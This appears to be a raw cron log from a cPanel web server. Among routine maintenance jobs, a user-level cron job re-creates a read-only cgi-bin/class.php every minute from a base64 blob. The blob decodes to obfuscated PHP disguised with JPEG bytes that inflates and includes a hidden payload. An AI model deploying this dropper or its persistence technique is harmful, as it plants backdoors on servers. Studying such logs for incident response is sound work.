Aug 30 22:04:01 server CROND[4531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:05:01 server CROND[4919]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 22:05:01 server CROND[4921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:05:02 server CROND[4935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:05:02 server CROND[4936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:05:02 server CROND[4937]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:05:02 server CROND[4938]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 22:05:02 server CROND[4940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:05:02 server CROND[4943]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 22:06:01 server CROND[5764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:06:01 server CROND[5765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:06:01 server CROND[5766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:07:01 server CROND[6134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:07:01 server CROND[6135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:07:01 server CROND[6136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:08:01 server CROND[6596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:08:01 server CROND[6597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:08:01 server CROND[6598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:09:01 server CROND[6970]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 22:09:01 server CROND[6971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:09:01 server CROND[6974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:09:01 server CROND[6975]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:10:01 server CROND[7358]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 22:10:01 server CROND[7361]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 22:10:01 server CROND[7367]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:10:01 server CROND[7368]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 22:10:01 server CROND[7375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:10:01 server CROND[7376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:10:01 server CROND[7373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:10:01 server CROND[7374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 22:11:01 server CROND[8189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:11:01 server CROND[8190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:11:01 server CROND[8188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:12:02 server CROND[8561]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 22:12:02 server CROND[8563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:12:02 server CROND[8562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:12:02 server CROND[8564]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:13:01 server CROND[9047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:13:01 server CROND[9048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:13:01 server CROND[9049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:14:01 server CROND[9499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:14:01 server CROND[9500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:14:01 server CROND[9501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:15:01 server CROND[9934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 22:15:01 server CROND[9935]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 22:15:01 server CROND[9938]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 30 22:15:01 server CROND[9939]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 22:15:01 server CROND[9943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 22:15:01 server CROND[9940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 22:15:01 server CROND[9941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 22:15:01 server CROND[9945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
